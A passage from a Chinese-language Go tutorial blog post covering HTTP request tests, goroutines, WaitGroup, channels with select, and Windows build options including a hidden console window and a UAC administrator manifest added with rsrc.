resp.Body.Close() body, err := ioutil.ReadAll(resp.Body) if err != nil { log.Printf("读取Body失败 error: %+v", err) return } log.Println(string(body))http.NewRequest 用于创建复杂的 HTTP 请求,包括自定义请求方法、请求头等。完整的 HTTP 请求(GET、POST、PUT、PATCH、DELETE)func TestHttpGet(t *testing.T) { ... } func TestHttpGetHeader(t *testing.T) { ... } func TestHttpPost(t *testing.T) { ... } func TestHttpPostForm(t *testing.T) { ... } func TestHttpPostJSON(t *testing.T) { ... } func TestHttpPut(t *testing.T) { ... } func TestHttpPatch(t *testing.T) { ... } func TestHttpDelete(t *testing.T) { ... }在这些测试方法中,使用了 Go 的 http 包来发送各种 HTTP 请求方法,并处理响应内容。线程并发编程Go 语言的并发性是其最具吸引力的特点之一。与其他语言(如 Java)不同,Go 使用轻量级的 Goroutine 来实现并发,这使得 Go 在处理大量并发时非常高效。Goroutine 是一种非常轻量的线程,它的内存开销小,程序可以创建成千上万的 Goroutine 而不会占用太多资源。创建 Goroutine创建 Goroutine 使用 go 关键字,它会启动一个并发执行的函数。在下面的示例中,count 函数通过 Goroutine 被并发执行:package main import ( "fmt" "time" ) func main() { go count(5, "?") go count(5, "?") } func count(n int, animal string) { for i := 0; i < n; i++ { fmt.Println(i+1, animal) time.Sleep(time.Millisecond * 500) } }程序提前退出在上面的代码中,虽然我们创建了两个 Goroutine,但是程序会在 Goroutine 执行之前就退出。因为主函数没有等待 Goroutine 执行完毕。解决方法使用 time.Sleep 延迟主线程结束(不推荐,简便,但不优雅)time.Sleep(time.Second * 1)使用 fmt.Scan 等待用户输入(仍不太优雅)var stop int fmt.Scan(&stop)使用 sync.WaitGroup(推荐)sync.WaitGroup 用于追踪 Goroutine 的执行状态。我们可以通过 Add、Done 和 Wait 方法控制 Goroutine 的执行和等待。var wg sync.WaitGroup wg.Add(2) // 添加两个任务 go func() { count(5, "?") wg.Done() // 每个 Goroutine 完成时,计数器减1 }() go func() { count(5, "?") wg.Done() }() wg.Wait() // 等待所有 Goroutine 完成实现多并发上面的代码实现了多个 Goroutine 并发执行任务,每个 Goroutine 都会执行 count 函数并在完成后通过 wg.Done() 通知主线程:package main import ( "fmt" "sync" "time" ) func main() { var wg sync.WaitGroup // 计数器 wg.Add(2) // 添加2个线程 go func() { count(5, "?") wg.Done() // 运行完毕就在计数器里减1 }() go func() { count(5, "?") wg.Done() }() wg.Wait() } func count(n int, animal string) { for i := 0; i < n; i++ { fmt.Println(n, animal) time.Sleep(time.Millisecond * 500) } }这里每个 Goroutine 运行时,独立执行并发的任务,没有直接的通信。实现 Goroutine 间通信Go 的 channel 允许 Goroutine 之间传递数据,它是 Go 并发编程的核心之一。通过 channel,多个 Goroutine 可以共享数据或者进行同步。在下面的代码中,使用了两个 channel 来实现 Goroutine 之间的通信:package main import ( "fmt" "time" ) func main() { c1 := make(chan string) // 创建信道 获取信息 c2 := make(chan string) go func() { c1 <- "?" // 向 c1 发送数据 time.Sleep(time.Millisecond * 500) }() go func() { c2 <- "?" // 向 c2 发送数据 time.Sleep(time.Millisecond * 500) }() for { select { case msg := <-c1: // 接收来自 c1 的数据 fmt.Println(msg) case msg := <-c2: // 接收来自 c2 的数据 fmt.Println(msg) } } }select 语句用于从多个 channel 中选择一个可以接收到数据的 channel,并执行相应的操作。当数据从任意一个 channel 接收到时,程序会打印相应的信息。程序打包打包命令go build main.go // 直接打包,大体积 go build // 也可以不带任何指定使用 go build -ldflags "-w -s -H=windowsgui" // 隐藏DOS窗口,小体积打包(推荐使用)rsrc工具如果需要为程序添加 UAC 权限或图标,可以使用 rsrc 工具来编译资源文件。可以通过以下两种方式下载 rsrc 工具:git clone https://github.com/akavel/rsrc.git go get github.com/akavel/rsrc`下载 rsrc 工具添加 UAC 与图标新建 manifest 文件 新建名为 nac.manifest 的文件,填写以下内容:<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level="requireAdministrator"/> </requestedPrivileges> </security> </trustInfo> </assembly>生成并打包资源文件 使用 rsrc 工具来编译资源文件:rsrc -manifest nac.manifest -o nac.syso // 编译资源文件 rsrc -manifest nac.manifest -o nac.syso -ico 00.ico // 添加自定义图标编译可执行文件 使用 go build 命令来生成最终的可执行文件:go build // 编译 Go 源代码并生成可执行文件参数打包 常规编译方式:go build -ldflags="-w -s" -o main.exe无界面编译方式(隐藏DOS窗口):go build -ldflags="-w -s -H windowsgui" -o main.exe通过以上步骤,可以生成一个带有 UAC 权限和自定义图标的小体积 Go 程序。
2022年07月11日
115 阅读
0 评论
20 点赞
0:00